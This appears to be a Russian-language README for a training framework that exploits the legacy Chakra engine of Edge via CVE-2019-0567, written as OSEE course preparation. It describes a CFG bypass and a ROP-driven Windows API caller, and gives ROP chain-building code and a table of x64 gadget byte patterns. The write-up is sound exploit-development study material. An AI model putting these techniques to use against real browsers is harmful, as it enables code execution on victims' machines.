Фреймворк для эксплуатации браузера Chakra (Edge). Написан в рамках подготовки к OSEE. Демонстрационный баг: CVE-2019-0567
Этот репозиторий содержит фреймворк для эксплуатации браузера, который я написал для подготовки к моему курсу EXP-401. Фреймворк нацелен на движок Chakra, который был частью Edge до перехода на v8 в 2019 году.
Демонстрационная уязвимость, используемая во фреймворке, — это CVE-2019-0567 Type Confusion.

Чтобы сделать этот фреймворк удобным в использовании, я написал несколько полезных функций, которые делают реализацию будущих побегов из песочницы невероятно лёгкой.
Фреймворк позволяет вызывать Windows API на высоком уровне. Он использует ROP-цепочку GetProcAddress для разрешения любого API и поддерживает до четырёх параметров.
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
Использованный мной обход CFG — это техника leafInterpreterFrame. Пройдясь по нескольким объектам, можно утечь адрес стека. Отсюда можно найти указатель на функцию, перезаписать его и получить выполнение кода. Перенос этой техники на мою версию Chakra был довольно кропотливым, поэтому я написал об этом пост в блоге здесь.
Друг показал мне очень удобный приём, который делает возвращение в мир JavaScript совсем простым. Суть в том, чтобы обернуть обход CFG в вызов [1].map() — тогда выполнение продолжается в родительской функции, и код выглядит гораздо чище. Пример можно увидеть здесь.
Многие Windows API требуют выравнивания параметров и буферов. Раньше я вызывал Windows API, размещая параметры в секции .data — это было очень мучительно. В итоге я написал собственный распределитель памяти, который вызывает VirtualAlloc внутри ROP и позволяет другим объектам выделять память из буфера через malloc. Распределитель также всегда возвращает выровненные буферы!
ROP-цепочки строятся следующим образом:
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
Базовые ROP-гаджеты реализованы в виде небольших функций:
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
Таким образом, можно строить более сложные цепочки гаджетов для выполнения действий более высокого уровня, например pop r9. Подходящего гаджета не нашлось, поэтому он реализован как комбинация нескольких:
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
Чтобы повысить переносимость фреймворка, в нём также есть сканер ROP-паттернов. Он использует примитив read для поиска последовательности байтов, образующей требуемую цепочку.
Также есть глобальный кэш, который значительно улучшает производительность сканера.
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}